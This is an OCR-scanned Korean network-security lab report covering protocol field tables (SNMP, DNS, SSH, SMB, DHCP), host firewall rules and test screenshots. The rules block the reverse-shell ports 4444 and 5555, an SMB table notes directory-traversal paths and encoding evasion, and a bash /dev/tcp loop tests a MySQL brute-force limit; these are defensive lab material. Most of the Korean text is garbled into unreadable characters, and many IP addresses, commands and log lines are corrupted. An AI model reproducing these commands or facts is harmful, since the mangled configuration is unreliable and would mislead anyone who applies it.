Trap(v1 / v2c) Oxa4 / Oxa7 &Hl — 22l AH(UDP 162)
=L
InformRequest Oxab S Eel0| 28 28 ¥ | &l - 2l MH(UDP 162)
SNMPv3 A&l 2F S 4l
Report 0xa8 ZH| e 22| AB(UDP 161)
LER/MAHSE
DNS
=24 85 LEtH= WS Gl Al
Transaction ID DNS 31t Sg= HZ8ot= Mg B3 Ox4a3f
Query Name x3g ool ols www.blueberry.com
Query Type Z3loldA=DNS H2E &8 A, AAAA, MX
Response Code DNS A2 X2l No error

Answer DNS MO} Bratst &l K
SSH
2o g2
SSH Version S0IAHE-HH 2 SSH
Encryption Algorithm s LHES 25 3tcte=

Key Exchange Algorithm
MAC Algorithm ITEA
Compression

SMB

A
A

A
oo

Name, Type, Class, TTL & L& 24X

SSH-2.0-OpenSSH_9.6

aes256-gcm, chacha20-poly1305

curve25519-sha256

hmac-sha2-256

none, zlib

SMB Header Magic

SMB2/SMB3 Z2&EZ2 HFE

OXFE 0x53 0x4D 0x42 (|FE 53 4D 42|)
1| 5 S (Offset 0) HHOI 42| THEA O 2 A

(=]
=2
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0x00 (Negotiate)

U
&
oo
Jio

0x01 (Session Setup)

ZC0IHEI} MHO KB SHALE
SMB Command ) 0x03 (Tree Connect)
Sgg=SMB 2 2=

0x05 (Create/Open)
0x09 (Write)

Hl& W 23 (Request)lt S & (Response) Messageld 0 (Negotiate Request)

Message ID
Z 020D /st EHME AH HS TXTMessageld 7 (Create Request)
AEXE 21 E &HHI(Challenge/Response)
User: SAMBA\smbuser
NTLMSSP Auth / Session ID YOS HI AN LSE= ME AE TtHA

(NTLMSSP_AUTH)

o

\192.168.137.40\share (8 & 2% XAt
Tree Path (&% X&) \192.168.137.40\IPC$ (22|

SH/MIOLEZ2 X )

)

Tree Connect 52 & S& 37 K& Tree Connect Response Al At It
Tree ID
S0l R20HEE=E 1% ME D ZC0IHEN 20{dt= ID

test.txt, hosts_from_rocky.txt
File Path / Filename \Windows\System32 (Directory
Traversal £3| Al)
OZE U IIY 22 ¥ B FAO0I Raw ASCII 2 UTF-16LE (]2E 00 2E 00
Character Encoding
QI Y& O (Evasion 20 2HE J|&) 5C 00])
STATUS_SUCCESS (0x00000000)
(4 3) STATUS_LOGON_FAILURE
(0xC000006D) (21 S Al TH)
STATUS_OBJECT_NAME_NOT_FOUN
D (0xC0000034) (It/&A = 8l2)

NT Status (SE & 25)

AN DL MU MY Z2H {2 L7 Read Response: hello-samba
Payload Data (Read/Write)

OHZclH0l& HIoIH Holz&E Write Request: 127.0.0.1 localhost...
DHCP
Message Type DHCP BIAIXI 2l & EF Discover, Offer
Transaction ID 22 =4 89 WS HAG= A8 Bls 0x3903f326
Client MAC IPF=AE Qe T MAC =2 00:11:22:33:44:55
Requested IP ZCt0IHEDL AIESHIIE REEIP 172.16.10.10
Assigned IP MBIt Z22H0IHEN MSstIP 172.16.10.10
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Server ID

FAE MSB8 DHCP AB 2l IP 172.16.10.1
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foi
I
34
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H A X

#ll= 3™ &4F
ufw default deny incoming

ufw default deny outgoing

# Inbound ol 2

ufw allow 22/tcp

HDO1 UFW
#Outbound o1 &
ufw allow out 80/tcp
# L= DB AN H(DB01 S)22 S&I0H HAIE FHE
ufw allow out to [DBA B1_IP] port 3306 proto tcp
#1. 212 AUHIAE Inbound &1 &
firewall-cmd --permanent --add-service=http
firewall-cmd --permanent --add-service=https
#AR IH2! 22 435
firewall-cmd --set-log-denied=all
#2. 2elXtIPEtSSH B2 o1& & 22 (Rich Rule)
firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="2 2| XIP" port
Firewalld port="22" protocol="tcp" log prefix="HD02_SSH: " level="info" accept'

HDO02
(Rich Rules)

#3. Z+=DNSol&

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" destination address="8.8.8.8" port

port="53" protocol="udp" accept'
#4.2lHA & Ot2BH2E Xt (Well-known port 28 & Xttt + 22 L&t
firewall-cmd --permanent --add-rich-rule="rule family="ipv4" port port="4444" protocol="tcp" reject'

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" port port="5555" protocol="tcp" reject'

firewall-cmd --reload

Windows

MS01 Defender
Firewall
- 140 -



DBO1

DB02

DBO03

MRO1

iptables

iptables

iptables

Firewalld

HIOIAECI Al BIHA 2o 8201 1

# Custom Chain 244 2! 3306 ZE E¢2j

I
2
1o

iptables -N DB_PROTECT

#42ol= MEIA HIES A= dAFGIO0I G E
iptables -A INPUT -p tcp --dport 3306 -s [&l 2| dt= M IP]-j ACCEPT

#LIOIX 3306 EcHE 2 EFELZA HALHICZ

iptables -A INPUT -p tcp -dport 3306 -j DB_PROTECT

#60= L 53] Ol&f A& A& Al tEHDROP) & EXl 21 M4

iptables -A DB_PROTECT -m state --state NEW -m recent --name MYSQL_BRUTE --set
iptables -A DB_PROTECT -m state --state NEW -m recent --name MYSQL_BRUTE --update
--seconds 60 --hitcount 5 -j LOG --log-prefix "DB_BRUTE_FORCE_DETECTED: "

iptables -A DB_PROTECT -m state --state NEW -m recent --name MYSQL_BRUTE --update
--seconds 60 --hitcount 5 -j DROP

iptables -A DB_PROTECT -j ACCEPT

# J|2 OUTPUT &2 Xttt

iptables -P OUTPUT DROP

#O1E ROA Hab A

o o

Uy

SE ol (& N8Ot DBO & & #cl0l (et S &)
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

#DNS £3| 5Z (UDP + TCP 1)
iptables -A OUTPUT -p udp --dport 53 -d [MS01 IP] -j ACCEPT
iptables -A OUTPUT -p tcp --dport 53 -d [MS01 IP] -j ACCEPT

# o= ot 22

iptables -A OUTPUT -j LOG --log-prefix "OUTBOUND_DROP: " —-log-level 4

#OIOE A2 IP =42 MAC =AJH'SAIN" XIS 2 3306 LE A&

iptables -A INPUT -p tcp --dport 3306 -s [A tHH_IP] -m mac --mac-source [& A tHH_MACZ 4] -j
ACCEPT

#12 23306 LE 2 ME XtH

iptables -A INPUT -p tcp --dport 3306 -j DROP

#2tel HSE oA & &0tk 2LIEHE EciEH(SNMP, Syslog)2t OIHI2E 3 &

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="[IpCH /= 2| & A]"
port port="161" protocol="udp" accept'

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="[IpCH =/Z | & A]"
port port="514" protocol="udp" accept'

firewall-cmd --reload
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#ll=2 dsg X
ufw default deny incoming

ufw default deny outgoing

#2LIHYE HAIBEE Z AIAE 20 82 XE

el

=3
ufw allow from [2t 2| XHIP] to any port 22 proto tcp

ufw allow 80/tcp

ufw allow 443/tcp

ufw allow 514/udp

#22) 22 At AE} 20! =4I(Ping/ICMP)2F 0f

ol =
ufw allow out to any proto icmp

(ufwE icmp X S A ZctH M0 SO ILA HEAHOFSHIHZ 0l TH2A)

#SNMP &1 2
ufw allow out to [2LIE & _CH&H_CH=/24] port 161 proto udp
)

#1.QH2E

(23 o

ol

02

(& OHe, 22l Xt SSH)

firewall-cmd --permanent --add-service=http sudo firewall-cmd --permanent --add-service=https
sudo firewall-cmd --permanent --remove-service=ssh

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="[2f 2| X}_IP]" port

port="22" protocol="tcp" accept'

#2. Ol2HI2E &2 (DB06 HZ 3l &, HICIJt LE XtE)

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" destination address="[DB06 IP]" port
port="3306" protocol="tcp" accept'

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" port port="4444" protocol="tcp" reject'
firewall-cmd --permanent --add-rich-rule="rule family="ipv4" port port="5555" protocol="tcp" reject'

firewall-cmd --reload
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#1. 202 EH

firewall-cmd --permanent --add-service=http

firewall-cmd --permanent --add-service=https

firewall-cmd --permanent --remove-service=ssh

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="[2 2| X} _IP]" port

port="22" protocol="tcp" accept'

#2. OlHI2E Z& (2 MHZ 2O 88 L 24 S X

# Jt&: MS02(10.30.112.10)2 Snort 1€ 514 LEZ M &

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" destination address="10.30.112.10"
port port="514" protocol="udp" accept'

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" port port="4444" protocol="tcp" reject’

sudo firewall-cmd --reload
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#Il2 MUIA(EX OHE) JIA
sudo firewall-cmd --permanent --remove-service=http
sudo firewall-cmd --permanent --remove-service=https

sudo firewall-cmd --permanent --remove-service=ssh

#(E10) 8 2 E: 22X IPEH phpMyAdmin & SSH &2 312

sudo firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="[2tc| X} _IP]"
port port="80" protocol="tcp" accept'

sudo firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="[2t 2| X}_IP]"
port port="443" protocol="tcp" accept'

sudo firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="[2t 2| X}_IP]"

port port="22" protocol="tcp" accept'

#

#[Z 2 1] Inbound: MS02 & 215 2= IPS/IDS Z 5|8+ 3306 51 =
#
#MS02 2Kl Al 518

sudo firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="10.30.112.10"

port port="3306" protocol="tcp" accept'

#IPS/IDS ZHIS ol & (A& JI=E IPS FI1)

sudo firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="10.30.192.13
port port="3306" protocol="tcp" accept' # IPS01

sudo firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="10.30.192.14
port port="3306" protocol="tcp" accept' # IDS01

# (LXK 1PS02,1DS02 & 20E EUl= #HI2 IPE 12 201 & =24 FJt)

#
# [& 2 2] Outbound: DBO5Z 2| CIOIE S)lat SAICH SIS (LI XA & XHE)
#

#1) U222 Lte B= S48 S MHH(DROP)otE 2 A 7)|

sudo firewall-cmd --permanent --new-policy=outbound_drop

sudo firewall-cmd --permanent --policy=outbound_drop --add-ingress-zone=HOST
sudo firewall-cmd --permanent --policy=outbound_drop --add-egress-zone=ANY

sudo firewall-cmd --permanent --policy=outbound_drop --set-target=DROP

#2) 2% 8 DB05(10.30.112.12)2 Jt= 3306 ZEQ (|22 SHFD|

sudo firewall-cmd --permanent --policy=outbound_drop --add-rich-rule="rule family="ipv4"
destination address="10.30.112.12" port port="3306" protocol="tcp" accept'
#8835 NG
sudo firewall-cmd --reload

-144 -



DB05

DBO06

Firewalld

Firewalld

HOIAECI Al BIHA 2o 820 0t E

firewall-cmd --permanent --remove-service=http
firewall-cmd --permanent --remove-service=https

firewall-cmd --permanent --remove-service=ssh

#OlH2E: 22 DB(DB04)2 S013 ECHECH S E
firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="10.30.112.11" port

port="3306" protocol="tcp" accept'

#OHI2E: 22l Xkt IPS 22| S/ 82 08

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="[2 2| X} _IP]" port
port="80" protocol="tcp" accept'

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="[2 2| X} _IP]" port
port="22" protocol="tcp" accept'

firewall-cmd --reload

firewall-cmd --permanent --remove-service=ssh

#OHI2E: 22| X2t SSHA Z

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="[2' 2| X}_IP]" port
port="22" protocol="tcp" accept'

# QIHH2E: WS01(10.30.160.15)0I Al 2= 3306 S &8+ 6l &f

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="10.30.160.15" port

port="3306" protocol="tcp" accept'

#OtZHI2E X o510t DBE E0IM 212 (0: 4444 ZE)Z HIOIEHE A= &P HE

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" port port="4444" protocol="tcp" reject’

#HS 2L DBOIE2Z 22|92 DNS 22 & SH

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" port port="53" protocol="udp" reject'

firewall-cmd --reload
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UFW

firewall-cmd --permanent --remove-service=http
firewall-cmd --permanent --remove-service=https

firewall-cmd --permanent --remove-service=ssh

HIOFAEHCI AIZEITHA 2o M2 0t

#OHI2E: EF 8 22l A IPOI CHol A 8 2 (2 Xl TIOIXI), SSH, Jupyter Z &

firewall-cmd --permanent --add-rich-rule="rule family="

port="80" protocol="tcp" accept'

firewall-cmd --permanent --add-rich-rule='"rule family="

port="443" protocol="tcp" accept'

firewall-cmd --permanent --add-rich-rule="rule family="
port="22" protocol="tcp" accept'

firewall-cmd --permanent --add-rich-rule="rule family="
port="8888" protocol="tcp" accept'

#OIZHI2E: 242 210l DBO4(IP)Z Hel &5 d &8
firewall-cmd --permanent --add-rich-rule="rule family="
port="3306" protocol="tcp" accept'

firewall-cmd --reload

ufw default deny incoming

ufw default deny outgoing

#QlHI2E: ¢

E8 XA 2el P2t 5E

ufw allow from [2l =& _IP] to any port 22 proto tcp

#0t=H CEE B UERKD A28t o2
ufw allow out to 10.30.0.0/16

2=

ufw allow out to 10.40.0.0/16

XXl DNS Eg 2
ufw allow out 53/udp

ufw enable
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firewall-cmd --permanent --add-service=http

firewall-cmd --permanent --add-service=https

firewall-cmd --permanent --remove-service=ssh

#QHI2E: dIEE 22l IP2HSSH &2

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="[2l =& _IP]" port

port="22" protocol="tcp" accept'

#OIZHI2E: g2 cltA &4 HHE A

o

=2

04
J2

A3 (8 2EeaE)

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" port port="4444" protocol="tcp" reject'
firewall-cmd --permanent --add-rich-rule="rule family="ipv4" port port="5555" protocol="tcp" reject'
firewall-cmd --reload

firewall-cmd --permanent --remove-service=ssh

#oHI2E =228 IPY E2 € 22l o8

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="[£ = & _IP]" port
port="22" protocol="tcp" accept'

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="[£ = & _IP]" port

port="5000" protocol="tcp" accept'

#OI2UI2%: 22| A UIERIZ(10.30.x.x HF)Z2 24X &/HZ 5 &
firewall-cmd --permanent --add-rich-rule="rule family="ipv4" destination address="10.30.0.0/16"

accept'

firewall-cmd --reload

firewall-cmd --permanent --remove-service=ssh

#OHI2E: SFE IPY E2 L 22| 58

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="[2 £ & _IP]" port
port="22" protocol="tcp" accept'

firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address="[S £ & _IP]" port

port="5000" protocol="tcp" accept'
#OI2ZUI2S: 22| A WIERT(10.30xx HH)Z2| 2H &/HE o8
firewall-cmd --permanent --add-rich-rule='"rule family="ipv4" destination address="10.30.0.0/16"

accept'

firewall-cmd --reload
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]

He

DBO1 23t &3

[ W= = e e

DB02 23 &3

RG]

[l

OUTBOUND _DROF :

DBO03 &

HDO1 AtHH2 2 DOWN 27 ZHOF AFEIA HE St
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[root@hdBZ ~1# firewall-cmd --list-all
public (activel)
target: default
icmp-block-inversion: no
interfaces: ens168
sources:
services: cockpit dhcpub-client hitp https ssh
ports:
protocols:
forward: yes
masgquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:
rule source address="10.38.192.25-19" port port="22" protocol="tcp" log prefix="HDBZ_SSH: " lewvel="info" accept
rule i destination address="8.8.8.8" port port="53" protocol="udp" accept
rule i ip port port="5555" protocol="tcp" reject
rule family="ipw4" port port="4444" protocol="tcp" re ject

MRO1 &3 &3

[rootPmrB1 “1# firewall-cmd --list-all
public (active)
target: default
icmp-block-inversion: no
interfaces: ensl168
Sources:
services! cockpit dhcpub-client ssh
ports: B8.tcp
protocols:
forward: yes
masguerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:
rule family="ipw4" source address="18.38.192.25-19" port port="514" protocol="udp" accept
rule family="ipw4" source address="18.38.192.25-19" port port="161" protocol="udp" accept

MRO2 #3tH &3

Action Fram
ALLOK Arnywh
ALLOK Arnywh

ALLOW
ALLOW
ALLOW
ALLOW
ALLOW
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he admin, what do I d

add content to the webroot directory for your

n oot your
nfiguration directive

href="htt

fug 13 18:52:34 hd@Z kernel: filter_ IN_public_REJECT: IN=ens168 OUT= MAC=Ef :ff:ff :ff £ :ff :00:8c:29:bB:34:05:08:88 SRC=10.38.192.25 DST-18.38.223.255 LEN=229 TO
5-8xB8 PREC-8xB8 TIL-128 [D-61Z PROTO-UDP SPT-138 DPT-138 LEN-z89

ol E- X %= P2 SSH &2 DENY
2 0/01Xl= 82 DENYS| 21
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HDO2(&I/SSH & 3}&1)

C:\Users\Admin>ssh 18.30.192.15
The authenticity of host '10.30.192.15 (10.30.192.15)' can't be established.
ED25519 key fingerprint is SHA256:Bw6jpOAHaVR5ZhTSL+8gxehQ+debghgROHISWLgpWAE.

This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.30.192.15' (ED25519) to the list of known hosts.
admin@10.30.192.15's password:

Last login: Tue Aug 11 ©2:34:40 2026 from 172.16.4.1

[admin@hd®2 ~]$%

ekt 2 51 E8 R0A SSHAIE 83

HDO2(RU/SSH 2 3}%)

[root@hddZ ~1# curl -v telnet:-s-18.38.96.18 4444

= Trying 18.38.96.18:4444. ..

= commect to 18.38.96.18 port 4444 failed: Commection refused

= Failed to conmect to 18.38.96.18 port 4444: Commection refused

= Closing commection B

curl: (?) Failed to conmect to 18.38.96.18 port 4444: Comnmection refused

Aug 13 11:84:33 hdBZ kernel: filter IN_public_] : IN=ensl168 OUT= MAC=fF :ff :ff:ff:ff:ff:808:8c:29:b8:34:05:88:88 SRC=18.38.192.25 DST=18.30.223.255 LEN=229 TO
5=Ax#8 PREC=Bx@B TTL=128 1D=613 PROTO=UDP SPT=138 DPT=138 LEN=289

Ol B2 = 4444 Nl
g 0l0IXE SH&E 22

DBO1(lIptables - Brute Force 2 01)

C:\Users\Admin>curl -v telnet://10.30.96.10:3306

# Trying 10.30.96.10:3386...
* Connected to 10.30.96.10 (10.30.96.10) port 3306

A B BA Mz

a2
oo g/
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DBO01(Iptables - Brute Force 20{)

[root@mrdl “1# for i in {1..8}: do
>
> timeout 1 bash ¢ “<sdew tcp-18.38.96.18.-3386" Z2>,dev null

if [ 97 -eq B 1; then

echo "Attempt S$i : SUCCESS"
else

echo "Attempt $i : BLOCKED (Drop)"

SUCCESS
SUCCESS
SUCCESS
SUCCESS
BLOCKED
BLOCKED
BLOCKED
BLOCKED

== R I = IS FL I WL I

root@dhel: ™% journalctl -k -f | grep "DB_BRUTE_FORCE_DETECTED:"

Aug 13 ©5:19:19 dbel kernel: IN=ens33 OUT= MAC=GB:6C:29:62:e5:16:ca:81:19:18:00:358:08:80 SRC=10.408.32.16 D5T=18.36.96.10 LEN=60 TOS=8x60
PREC=@x88 TTL=63 ID=13181 DF PROTO=TCF SPT=47864 DFT=3306 WINDOW=64246 RES=0x6@ SYMN URGF=0

Aug 13 @5:19:21 dbel kernel: IN=ens33 OUT= MAC=GB:6C:29:62:e5:16:ca:81:19:18:00:358:08:80 SRC=10.408.32.16 D5T=18.36.96.10 LEN=60 TOS=8x60
PREC=@x88 TTL=63 ID=573@ DF PROTO=TCP SPT=47878 DFT=3306 WINDOW=64248 RES=0x@6 5YN URGP=6

Aug 13 ©5:19:23 dbel kernel: IN=ens33 OUT= MAC=GB:6C:29:62:e5:16:ca:81:19:18:00:358:08:80 SRC=10.408.32.16 D5T=18.36.96.10 LEN=60 TOS=8x60
PREC=@wx@9 TTL=63 I0=51601 DF PROTO=TCF SPT=47884 OFT=3306 WINDOW=6424& RES=0x0@ SYMN URGF=9

Aug 13 ©5:19:25 dbel kernel: IN=ens33 OUT= MAC=GB:6C:29:62:e5:16:ca:81:19:18:00:358:08:80 SRC=10.408.32.16 D5T=18.36.96.10 LEN=60 TOS=8x60
PREC=@w@9 TTL=63 I0=1855% DF PROTO=TCF SPT=4736@ DFT=3306 WINDOW=6424% RES=9x0@ 5YMN URGF=9

60= LHOIl 53] Ol& & AlE ->532H EEC

journalctl -k -f | grep "DB_BRUTE_FORCE_DETECTED:” 21

DBO02(Iptables - Ot HI2E XIE)

1o, du, 32,18 glng statlstlcs ---
9 packets transmitted, @ received, 1908% packet loss, time 8288ms

root@dhe?: ™% curl http:/718,36. 192,15
curl: (23) Failed to connect to 16.38.192.15 port 86 after 133196 ms: Couldn't connect to server

root@dhes : Jjournalctl -k -f | grep "OUTBOUND_DROP:"
13 85:42:57 dbo2 kernel: IN= OUT=lo SRC=127.6.8.1 D53T=127.6.9.53 LEN=71 TOS=6x66 PREC=6x08 TTL=64 ID=52373 PROTO=UDP 5PT=54851 DPT=53
13 85:42:57 dbo2 kernel: IN= OUT=lo SRC=127.6.8.1 D53T=127.6.9.53 LEN=71 TOS=6x66 PREC=6x08 TTL=64 ID=61381 PROTO=UDP 5PT=41915 DPT=53
13 85:42:57 dbe2 kernel: IN= OUT=lo SRC=127.8.8.1 D53T=127.6.9.53 LEN=71 TOS=6x@6 PREC=6x08 TTL=b64 ID=23619 PROTO=UDP SPT=52627 DPT=53
65:42:57 dboz kernel: IN= OUT=lo SRC=127.8.8.1 D53T=127.6.9.53 LEN=71 TOS=6x@6 PREC=6x08 TTL=64 ID=14255 PROTO=UDP 5PT=5555@ DPT=53
65:42:57 dboz kernel: IN= OUT=lo SRC=127.8.8.1 D53T=127.8.9.53 LEN=71 TOS=6x@6 PREC=6x08 TTL=b6d4 ID=45484 PROTO=UDP 5PT=42515 DPT=53
65:42:57 dboz kernel: IN= OUT=lo SRC=127.8.8.1 D53T=127.6.9.53 LEN=71 TOS=6x@6 PREC=6x08 TTL=b6d4 ID=34853 PROTO=UDP 5PT=379598 DPT=53
65:42:57 dboz kernel: IN= OUT=lo SRC=127.8.8.1 D3T=127.8.9.53 LEN=71 TOS=6x@6 PREC=6x08 TTL=64 ID=31656 PROTO=UDP 5PT=39739 DPT=53
65:42:57 dboz kernel: IN= OUT=lo SRC=127.8.8.1 D53T=127.8.9.53 LEN=71 TOS=6x@6 PREC=6x08 TTL=64 ID=44819 PROTO=UDP 5PT=42127 DPT=53

85:42:57 dhoz kernel: IN= OUT=ln SRC=127.0.4.1 D5T=127.8.9.53 LEN=71 TOS=0x00 PREC=8x00 TTL=Ad ID=35277 PROTO=UDP 3PT=59473 DPT=53




HIOLAECI AL Y

OIDIXl= 21

al
=

-153 -



HOIAECI Al BIHA 2o 820 0t E

MRO1(Firewalld - S& < 2LIEHE &)

[root@mrB1 1 firewall-cmd —-list-all
jpublic (active)
target: default
icmp-block-inversion: no
interfaces: enslbd
SOUrces !
services: cockpit dhcpwb-client ssh
ports: 88-tcp
protocols:
forward: yes
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:
rule family="ipw4" source address="18.38.192.25-19" port port="514" protocol="udp" accept
rule family="ipw4" source address="18.38.192.25-19" port port="161" protocol="udp" accept

[rootBhddZ ~1# curl -v telnet:- -1H.4H.3<.1H :HHEH

= Trying 18.48.32.18:8888. ..

= commect to 18.48.32.18 port 8BBB failed: No route to host

= Failed to conmect to 18.48.32.18 port 8888: No route to host

= Clozing commection B

curl: (?) Failed to commect to 18.48.32.18 port 8888: No route to host

1. firewalldJt 2281 ZE(ssh)= |2 38 €322 T UL

2. acceptSli= 80802 E A& AN

MRO2(UFW - 23 &2 SKl)

[root@hdBZ ™ 1# curl hittp:--18.38.192.208

<html>

<head><{title>381 Moved Permanently<-stitle><{ head>
<{body>

{center><hl1>381 Moved Permanently< hl><{ center’
<hrx<center>nginx-1.24.8 (Ubuntu)<{ center>
{sbody>

</html>

[root@hddZ = 1# _

i
K%
Y
0x
Ok

MRO1(Firewalld - S& 01 2UIEE &)

Trying 18.38.192.28:22. ..

= commect to 18.38.19Z .28 port 22 failed: Conmection timed out

= Failed to commect to 18.38.192.28 port 22: Commection timed out

= Closing connection B

curl: (£28) Failed to conmect to 18.38.192 .28 port 22: Commection timed out
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Server C&C I AIOIE =S 0| Al

- Server Manager ® Dummy_Rocky

Dummy_Rocky

172.16.7.97

i 71 4 (AUTO)

%»;s‘(amns) B Quota 8

5 2/pB A= A
@ HEY3 4 « | © AzZhNTP HF O ] o G B f‘ma_ja I VSFTPD & =

2uey o U g A
"5

@ MRTG 4| =7
7t

@PYD s

Pydio Cells & Pydio M7
°x -

2= ~52X

ownCloud &

@ ownCloud 4%| N iy

EeL]
© Cacti 4% N St
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~ Server Manager ® Dummy_Rocky

@ Cacti £X

@wm

@ Monitorix HA|

=
§ MariaDB ZHAt

LI FTEREL | ®. auditd ZHAF

tend/systen/nulti-user.target .wants/pydio.service — Jetc/systend/systen/pydio.service

Created synlink /et

[Pydio Au|= AR 2=

Python 2= 9S8 G

2 MH & AHIA0

-156 -



& Not Secure  hitp://10.30.96.10/monitorix-cgi/monitorix.cgi?

localhost

Thu Aug 13 08:16:35 UTC 2026

System load i Jag dStive processes (lday)

i
180 -4 | 1N R

Processes

] i i i i »
12-86 18:86 606-60 66-66
S'Leep ng Current: 131
. | W Wait I/0 Current o
M Zombie Current
W Stopped Current
1 + < Paging Current
- : ; . A » Running Current
12:08 18:00
1 min average Current: 8.81 Average: ©.81 M Max 2 W Total Processes Current: 132
M 5 min average Current- 8 81 Average: 8 81
W 15 min average Current: 0.00 Average: 0.00

Load average

-]
o
-]
1

Entropy (lday)
300 &t PY., Y1 _——
system uptime: 17 min R

_1 b

Memory allocation (3868MB) (lday) znn-'.

i i i P
2:00 18:00 00:00 06:00
Current 256

Uptime (lday)

Monitorix &! &

SErvEer {
listen :
SEFVEr_Name

location = # {
return http:ss Amonitorix;
}

location smonitorix §
proxy_pass http: /s : :
proxy_set_header Host $hust
pro<u_set_header X-Real-IF #remote_adde;
proxy_set_header X-Forwarded-For $proxu_add_x_forwarded_for;
proxy_set_header X-Forwarded-Froto fscheme;

proxy_http_version :

proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection :

Monitorix & & gf
PDDt@db@l fbackup# cd Jetcsnginxssites-enableds
rootddb@al: fetcsnginkssites-enabledd ls
monitorix
rootddbal: setcsngin«ssites-enabledd _

Monitorix &€& HZ
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Edit this file to introduce + to bhe run by cron.

ngle line
will he run

cup of all your
Shaomes

For more information the manual p of crontab(5) and cro

I
#
i
M
i
I
i
I
#
i
# h,
[
I
i
L=
#
i
4
# Q
I
i
I
#

mh  dom mon dow comm
# i

- Crontab U2
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root@dhbel: ™8 ls -1lha

root root
root root
root root
root root
root root
root root
root root
root root
root root
root root
root root
root root
root root

= M l'_i'l =Y
SR s i [ R N

S RUSEEEEEE
SFITSFSSESS

Ll ol N

MariaDB [({none: show databases;
SE St

| Data

+___

| cells

|
performance_schems

|

|

| o
|

| =
+_

b raws

MariabB

LR df -Th

[yl

= N =
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seto/fstah: static file system infarmation.

i
i
# Use 'blkid' to print the universally unigue identifier for a

# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstah(s).

"

i

<file systemr <mount point: <typer  <options: <dumpr  <passr
S owas on Sdevsubuntu-vesubuntu-1v during curtin installation
Jdevsdisksby- id/dm-uuid-LWHM-Z301dHFug JYmdSnxGHDokCIZPESE1 90M 1 GEZ TWSGEG032za10B87P lecSvdseyfOYT # extd defaults
# sboot was on sdevssdaZ during curtin installation
Jdevsdisksby-uuidscfoc2h9s-5416-441e-ah73-5e0a98294897 shoot extd defaults
UID= sshare xfs defaults

root@dhel:™% blkid sdew/md127
Jdewsmd127: UUID="1d8cees1-h4@5-4h9c-8335h-41156019Ff592" BLOCK _SIZE="512" T¥PE="=fs"
root@dbel:“# _

rootddhal: ™% 1z Adewsmods
Sodevsmdl2y

Sodewsmd:
db@al:5
root@dbél: ™% mdadm --detall Adewsmdlzy
Soewsmdl2 7T
Version @ 1.2
Creation Time : Mon Aug 16 14:52:48 2625
Raid Level : raids
Array Size : 26951646 (19,958 GiB 21.45 GB)
Used Deyv Size : 16475526 (9,99 GIBE 1&.73 GB)
Raid Devices : 3
Total Dewices @ 3
Ferzistence : Superblock is persistent

Update Time : Thu Aug 13 68:&7:38 2626
State @ clean
fActive Dewices @ 3
Working Dewvices : 3
Failed Dewices : &
Spare Devices @ @

Lauout : left-summetric
Chunk Size : 512K

Consistency Folicy @ resunc

Mame : db&1:5 (local to host dbel)
UJID : 7aeed956:eclz8edf:631f6e87:82adddac
Events : 84

Mumber Ma jar Minar RaidDbevice State
5 g 49 5 actiwve sync Soevseddl
g 17 1 actiwve sync Soevssdbl
33 2 actiwve sync Soevsedol
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1
11
SE " _name
L, IP # & % * % & & smonitorix & & & 4 &
location = # {

return http: /s smonitoris;

# 7. Monitori

O, ¢+ 44 4 + 4 CGI  + + 4
location

rﬂﬂ+m| SELCS éiﬂ _1+E:—Eﬂ%thd# 1=
Mmor
oot @ Jetocsnginxssites-enabledd _

root@dhes: s p# cd webhard_bak.

PDDt@ psuebhard_hak# 1

tnn+m'

oot Edb

root@dh

root@dh

rﬂn+m

rﬂﬂ+md #'

rootd

r'l:ll:l't[al_ i ‘back B e | O B LS O B T

oot @ af=] ek ;'fIaI'Z_IT.T
ST

root@dhe3: ‘backupswebhard hdl s|als 'HharF'hdHl puydio_data#
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IN : win d. er. 9
IN )
IM

IM

IM

IM

IM

IM

IM

IM

IM

rootd

r"__:: ._I,.-t, .
' @i}

rootddk
root@dbes: s

I =
webhard_bak
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Edit this file to introduce ta to be run by cron.

Each task to run has to be defined through a ngle line
indicating with dlf erent fields when the task will be run
and what Enmmand to run for the

mlHH+H bmi, huur j, Z, nunﬁi|h ,
and day of week {dow) or use 'ﬁ' in thu:E fields ITHr fany 'y,

Motice that t will be started b d on the cron's system
daemon's notion of time and timezor

Output of the crontab jobs (including errors) iz sent through
emall to the user t crontab file belongs to (unless redirected).
For example, 4ou can run a backup of all your user accounts

at e with:

B S o ok 1 1 zcf Awarsbhackupsshome. tgz Shomes

For more information see the manual pages of crontab(5) and cronig)

mh dom mon dow
* ;

£
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b bbb (4 ethe, B

L B B B B B B
Lip
